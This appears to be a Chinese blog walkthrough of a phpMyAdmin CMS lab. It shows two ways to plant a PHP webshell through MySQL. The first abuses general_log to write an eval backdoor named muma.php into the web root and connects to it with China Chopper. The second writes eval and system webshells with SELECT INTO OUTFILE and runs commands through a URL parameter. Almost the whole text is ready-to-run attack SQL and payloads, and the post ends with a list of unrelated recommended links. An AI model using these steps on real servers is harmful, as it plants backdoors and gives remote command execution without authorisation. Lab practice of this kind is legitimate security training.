phpMyAdmin之CMS靶场

方法一:通过日志文件拿webshell

常用的语句如下:

复制代码
show global variables like '%general%';
set global general_log='on'; 
set global general_log_file = 'D:/phpStudy_pro/WWW/muma.php';
show global variables like '%general%';
select '<?php eval($_POST["admin"]);?>';
select+'<?php+phpinfo();+?>'
select+'<?php+//%0Aphpinfo();+?>'

查看日志目录路径

复制代码
show global variables like '%general%';

打开日志功能

复制代码
set global general_log='on'; 

设置日志文件目录,创建php日志文件

复制代码
set global general_log_file='D:/phpStudy_pro/WWW/muma.php';

查看自己创建的日志文件

复制代码
show global variables like '%general%';

往日志文件里写一句话木马

复制代码
select '<?php eval($_POST["admin"]);?>';

使用中国菜刀工具连接自己创建的php文件。

链接到了服务器的目录

懒人方法:也可以直接全部运行

复制代码
show global variables like '%general%';
set global general_log='on'; 
set global general_log_file = 'D:/phpStudy_pro/WWW/muma.php';
show global variables like '%general%';
select '<?php eval($_POST["admin"]);?>';

方法二:上传日志文件拿shell

常用语句

复制代码
1.⾸先判断mysql位置
select @@datadir
路径:C:\phpStudy\MySQL\data\
2.猜测web路径
猜测web路径:C:\phpStudy\www
C:\phpStudy\WWW\web.php
3.写webshell
select "<?php eval($_POST[a]);?>" into outfile 'c:/phpstudy/www/b.php';
select "<?php system($_GET[a]);?>" into outfile 'c:/phpstudy/PHPTutorial/w
ww/d.php';
4.浏览器
http://192.168.2.8/d.php?a=dir ..\
select "<?php phpinfo();eval($_POST[a]);?>" into outfile 'C:\phpStudy\WWW
\web.php';
备注:/
不要⽤\,如⾥要⽤\\(转义)
相关推荐
正儿八经的数字经几秒前
从光到电,超节点走出互连“技术岔路”
网络
英俊潇洒美少年4 分钟前
前端六种通信 API
网络·websocket·网络协议
释怀不想释怀7 分钟前
硬盘基础了解知识
linux·运维·服务器
xuxie999 分钟前
N13 定时器GPT1、串口UART
运维·服务器·网络
开开心心就好9 分钟前
模拟真人手写软件,支持随机调节
运维·服务器·windows·gitee·pdf·开源·excel
tobebetter952711 分钟前
如何在windows系统通过ssh远程连接部署在云服务器的openclaw
服务器·windows·ssh
晚枫歌F15 分钟前
内存池以及实现
网络
CDN36023 分钟前
游戏开发 + 运维:360CDN SDK 游戏盾 + 高防组合方案
运维·网络·游戏
阿豪学编程27 分钟前
【网络】IO多路转接 ---select、poll、epoll
运维·服务器·网络
运维行者_28 分钟前
Applications Manager 中的 Azure 监控
运维·服务器·网络·数据库·后端·python·flask